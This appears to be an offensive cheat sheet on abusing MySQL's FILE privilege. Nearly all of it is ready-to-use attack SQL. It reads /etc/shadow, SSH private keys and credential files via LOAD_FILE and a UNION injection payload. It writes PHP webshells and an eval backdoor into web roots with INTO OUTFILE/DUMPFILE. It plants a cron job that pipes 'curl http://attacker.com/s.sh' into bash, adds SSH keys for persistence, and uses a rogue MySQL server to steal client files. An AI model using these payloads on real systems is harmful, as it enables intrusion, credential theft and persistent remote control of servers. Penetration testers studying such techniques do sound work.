MySQL Security

MySQL File Read & Write

Youssef
17 May 2026

MySQL File Read & Write — LOAD_FILE / INTO OUTFILE

The FILE Privilege

The MySQL FILE privilege grants a user the ability to read files from the server's filesystem using LOAD_FILE() and write files using SELECT ... INTO OUTFILE/DUMPFILE. Combined with a web server on the same machine, this is a direct path to RCE.

-- Check if current user has FILE privilege
SELECT file_priv FROM mysql.user WHERE user = substring_index(user(),'@',1);

-- Or via information_schema
SELECT grantee, privilege_type FROM information_schema.user_privileges
WHERE privilege_type = 'FILE' AND grantee LIKE CONCAT('%',substring_index(user(),'@',1),'%');

-- Check secure_file_priv restriction
SHOW VARIABLES LIKE 'secure_file_priv';
-- Empty string = no restriction (dangerous)
-- NULL = file operations completely disabled
-- Path = only that directory is allowed

Reading Files — LOAD_FILE()

-- Read any file the mysql OS user can access
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/shadow');          -- requires root
SELECT LOAD_FILE('/var/www/html/config.php');  -- web app credentials
SELECT LOAD_FILE('/home/user/.ssh/id_rsa');    -- SSH private keys
SELECT LOAD_FILE('/root/.bash_history');        -- command history

-- MySQL config files (credentials)
SELECT LOAD_FILE('/etc/mysql/debian.cnf');
SELECT LOAD_FILE('/etc/mysql/my.cnf');

-- Read and encode to avoid display issues
SELECT TO_BASE64(LOAD_FILE('/etc/shadow'));
SELECT HEX(LOAD_FILE('/var/www/html/config.php'));

-- Exfiltrate via UNION injection
?id=-1 UNION SELECT LOAD_FILE('/etc/passwd'),2-- -

Writing Files — INTO OUTFILE

-- Write PHP webshell to web root
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- INTO DUMPFILE (binary-safe, no line terminators added)
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';

-- Multi-function shell
SELECT '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);}
elseif(isset($_POST["php"])){eval($_POST["php"]);} ?>'
INTO OUTFILE '/var/www/html/backdoor.php';

-- The file will be owned by the mysql OS user
-- Make sure the web directory is writable by mysql user

-- Find writable web directories
SELECT '' INTO OUTFILE '/var/www/html/test.txt';      -- Apache default
SELECT '' INTO OUTFILE '/var/www/html/uploads/t.txt'; -- upload directory
SELECT '' INTO OUTFILE '/srv/www/htdocs/t.txt';       -- SUSE
SELECT '' INTO OUTFILE '/usr/share/nginx/html/t.txt'; -- Nginx default

LOAD DATA LOCAL INFILE — Client-Side File Read

When a MySQL client connects to a malicious server with local_infile=ON, the server can request any file from the client's filesystem.

-- Malicious MySQL server setup (using rogue-mysql-server)
-- When victim client connects:
-- Server sends: LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE t;
-- Client reads its own /etc/passwd and sends it to attacker

-- Tool: https://github.com/allyshka/Rogue-MySql-Server
python rogue_mysql_server.py

-- SSRF → MySQL → file read chain:
-- 1. Find SSRF in web app
-- 2. Redirect to malicious MySQL server at attacker.com:3306
-- 3. Client (web server) connects and leaks files

Writing Config Files for Persistence

-- Write cron job (if /etc/cron.d is writable by mysql)
SELECT '* * * * * root curl http://attacker.com/s.sh|bash
'
INTO OUTFILE '/etc/cron.d/mysql_cron';

-- Write SSH authorized_keys (if mysql runs as root)
SELECT 'ssh-rsa AAAA[your-key]...'
INTO OUTFILE '/root/.ssh/authorized_keys';

-- Windows: write to startup
SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.php';

Finding the Web Root via MySQL

-- If you don't know the web root
-- Method 1: Read Apache/Nginx config
SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');
SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');

-- Method 2: Error-based path leak from the web app
' AND extractvalue(1,concat(0x7e,@datadir))-- -

-- Method 3: Common paths to try
/var/www/html/
/var/www/
/srv/www/
/home/user/public_html/
/usr/share/nginx/html/
/var/www/vhosts/site.com/httpdocs/

Key Insight: The most reliable webshell path is /var/www/html/ (Apache on Debian/Ubuntu). Always try DUMPFILE instead of OUTFILE if OUTFILE fails — DUMPFILE writes binary without adding newlines and is better for non-text payloads. Check @secure_file_priv first to know what's allowed before attempting writes.